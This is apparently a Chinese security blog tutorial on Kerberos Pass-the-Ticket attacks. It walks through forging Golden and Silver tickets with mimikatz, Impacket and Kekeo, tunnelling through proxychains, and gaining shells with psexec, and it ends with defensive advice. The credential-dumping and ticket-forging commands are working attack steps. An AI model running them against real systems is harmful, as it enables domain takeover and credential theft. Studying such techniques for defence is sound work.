No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
PTT攻击方法代替明文密码或NTLM哈希的使用Kerberos票据。可能PTT最常见的用途是使用金色和银色门票。通过PTT获得对主机的访问是相当简单的
No.3
金票
你有普通域用户权限,但是没有域的权限,知道账户hash,krbtgt,krbtgt密码未修改,该票据可以重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务
- 需要与DC通信
- 需要krbtgt用户的hash
要创建Golden Ticket,我们需要从目标域获取以下信息:
- krbtgt帐户NT哈希
- 域SID
- 域FQDN
首先获取域ID和krbtgt用户hash:
mimikatz# lsadump::lsa /patch
我们将使用Impacket的示例脚本ticketer.py来创建Golden Ticket凭证缓存(ccache)文件。以下是为用户创建ccache文件
./ticketer.py -nthash NT哈希 -domain-sid DOMAIN-SID -domain DOMAIN.FQDN
要使Impacket示例脚本能够使用ccache文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将KRB5CCNAME变量设置为ccache文件的绝对路径:
export KRB5CCNAME=/path/to/ccache/file
验证变量设置是否正确:
echo $KRB5CCNAME
现在我们可以将-k标志与任何支持Kerberos身份验证的Impacket脚本一起使用,以使用Golden Ticket,而不是提供明文密码或NT哈希值。
No.4
名称解析
为了确保Kerberos进程功能,我们需要修改/etc/hosts攻击者计算机的文件,以包含目标域控制器的FQDN和目标主机的NetBIOS名称的条目。
nano /etc/hosts
127.0.0.1localhost 192.168.75.128aaa.bbb(FQDN) 192.168.75.137 WIN-111(NETbios)
如果您还没有域控制器的IP地址,请通过目标Linux主机上的SSH会话在目标域的FQDN上运行nslookup。例如:
nslookup -type=srv _ldap._tcp.aaa.bbb
No.5
Proxychains
我们将使用代理链通过SSH隧道路由我们的流量。通过查看配置文件的最后一行来验证代理链端口,/etc/proxychains.conf默认情况下在Kali上。
创建一个SOCKS代理,代理链将路由流量
ssh unpriv@10.0.10.81 -D 1337
要验证隧道是否已正确设置,我们可以使用代理链对目标主机的端口445运行nmap TCP连接扫描:
proxychains nmap -sT -Pn -p445 192.168.75.137
No.6
时间同步
运行以下命令将返回交互式CMD提示:
proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>
No.7
启动攻击
运行以下命令将返回交互式CMD提示:
proxychains ./psexec.py user@WIN-111 -k -no-pass
也可以用MSF
use exploit/windows/smb/psexec_psh
No.8
银票
两个票据之间的区别:
访问权限不同
Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同
Golden Ticket :由Kerberos的Hash加密 Silver Ticket :由服务账号(通常为计算机账户)Hash加密
认证流程不一样
Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要
No.9
伪造票据
要生成银票,我们需要以下信息:
- 目标主机帐户NTLM哈希
- 目标主机FQDN
- 目标服务
- 域SID
- 域FQDN
使用Mimikatz的Kerberos模块生成Silver Ticket :
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
退出Mimikatz并启动Kekeo。使用以下语法将kirbi文件转换为ccache文件:
misc::convert ccache /path/to/ticket.kirbi
您可以使用以下语法转换多个kirbi票证:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
将ccache文件Kekeo输出复制到攻击Linux主机。确保在Linux主机上记下文件的绝对路径; 我们需要它来设置KRB5CCNAME变量。其余的攻击使用我们的Linux主机。
No.10
攻击设置
剩余的Silver Ticket攻击设置与Golden Ticket攻击大致类似,但有两个例外。
首先,我们需要在/etc/hosts文件中提供目标主机的FQDN ,而不是NetBIOS名称。对于我们的示例,该/etc/hosts文件应如下所示:
127.0.0.1localhost 192.168.26.129aaa.bbb 192.168.26.128 WIN-111.aaa.bbb
第二个区别是我们需要将攻击机器的时间与目标主机同步; Silver Tickets不与目标的域控制器通信。
按照与上面的Golden Ticket攻击相同的步骤设置KRB5CCNAME变量,验证代理链配置,使用SOCKS代理建立SSH隧道,并使用nmap验证隧道。
No.11
启动攻击
我们现在可以psexec.py针对目标主机的FQDN 启动攻击:
proxychains python psexec.py user@WIN-111.aaa.bbb -k -no-pass
No.12
防御手段
针对黄金票据 1.设置域管理员权限,只允许登陆域管服务器和少数管理服务器,同时也不能让其他管理员账户登陆个人主机,这样可以有效防止攻击者获取到域管权限从而窃取ntds.dit,以此防止获取KBRBTHGT账户hash。 2.禁用KRBTGT账户,此时在Kerberos票据进行签署PAC并加密TGT时,会检查KRBTGT以前的密码来进行验证,保存好以前的密码。 3.定期更换KRBTHTGT密码,确保每年至少更改一次密码 4.当攻击者创建黄金票据时,通过快速更改密码,使其失效。 针对白银票据 1.尽量保证服务器凭证不被窃取 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护功能。
END